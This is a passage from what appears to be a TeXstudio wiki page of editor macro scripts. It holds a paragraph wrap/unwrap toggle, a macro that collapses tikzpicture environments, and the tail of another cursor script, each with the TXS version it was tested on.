	if (commands.indexOf(endTerm) <= commands.indexOf(sectionName)) {
		cursor.movePosition(1, cursorEnums.PreviousWord, cursorEnums.KeepAnchor)
		endN=cursor.columnNumber()//anchorColumnNumber
		endL=cursor.lineNumber()
		break;
	}}
}

editor.scrollToFirstLine(startL)

Tested with: TXS 2.12.22

Toggle Wrap/Fill Paragraph To Maximum Line Length

See #1483

%SCRIPT
// Script: Toggle-Wrap-Paragraph
//
// Wraps paragraphs at word boundaries to lines of no more than given length.
// If a selection is active, wraps the selection. Otherwise, wraps the text block
// at the current cursor position.
//
// Repeated activation will toggle between wrapping/unwrapping the paragarph
//
// This functionality is usually bound to Alt+q.
//
// NOTE: TXS supports this out of the box via the menu item "Idefix/Hard Line Break...". You can
// customize this script to tweak the behavior, and to invoke it immediately without clicking
// through a dialog as when using the built-in version. 

var MAX_LINE_WIDTH = 80;
var MAX_PAR_LINES = 100; // avoid infinite loop

function wrap_paragraph(s, line_width) {
	// split into words
    var words=s.split(/\s+/); 
    var lines = [];

	// form words into lines as strings
    var length = 0;
    var i = 0;
    for (; i < words.length; i++) {
        if( i> 0 && length + (i) + words[i].length >= line_width ) { 
            lines.push(words.slice(0,i).join(" "));
            words = words.slice(i);
            i = -1;
            length = 0;
            continue;
        }
        length += words[i].length;
    }
	// ... and don't forget any partial last line
    if ( length > 0) {
        lines.push(words.slice(0,i).join(" "));
    }
 
	// form the resulting wrapped string
    var result=lines.join("\n");

	// To maintain whitespace to next block, restore any trailing newlines.
	var match_crlf_suffix = /[\r\n]+$/.exec(s);
	if (match_crlf_suffix !== null) {
		result += match_crlf_suffix[0];
	}

	return result;
} 

function SelectParagraph() {
	/* cursorEnums.StartOfBlock misbehaves when text contains 
       math environments. So we implement this functionality explicitly.
	*/
	cursor.movePosition(1,cursorEnums.StartOfLine); 
	for (var i =0; i < MAX_PAR_LINES && ! cursor.atStart() ; i++) { 
		if( editor.text(cursor.lineNumber()) === "") { 
			break;
		}
		cursor.movePosition(1,cursorEnums.PreviousLine);
		cursor.movePosition(1,cursorEnums.StartOfLine)
	}
	cursor.movePosition(1, cursorEnums.NextLine);
	var start_line = cursor.lineNumber(); 
	
	for (var i =0; i < MAX_PAR_LINES ; i++) {
		if( "" ===  editor.text(cursor.lineNumber())) { 
			break;
		}
		cursor.movePosition(1,cursorEnums.NextLine);
	}
	cursor.movePosition(1, cursorEnums.PreviousLine);
	var end_line = cursor.lineNumber();
	
	cursor.moveTo(start_line, 0); 
	cursor.movePosition(end_line-start_line, cursorEnums.NextLine,cursorEnums.KeepAnchor); 
	cursor.movePosition(1, cursorEnums.EndOfLine,cursorEnums.KeepAnchor); 
}

// if no selection is active, select the current text block
if (!cursor.hasSelection()) {
	SelectParagraph();
} 

// Do it
var original_text = cursor.selectedText();
var wrapped = wrap_paragraph(cursor.selectedText(), MAX_LINE_WIDTH);

if (original_text == wrapped) {
	editor.replaceSelectedText(wrapped.replace(/\n/g," "));
} else {
	editor.replaceSelectedText(wrapped);
}

cursor.clearSelection(); 

Tested with TXS 3.1.0.

Collapse all tikzpicture elements

See #1729

%SCRIPT
envname = "tikzpicture";

lines = editor.document().textLines();
for (var i=0; i<lines.length; i++) {
    l = lines[i];
    if (l.indexOf("\\begin{" + envname + "}")>-1) {
			editor.document().collapse(i);
    }
}

Tested with TXS 3.1.2 / 4.0.0

ChatGPT for TeXstudio

Github repo

Clone this wiki locally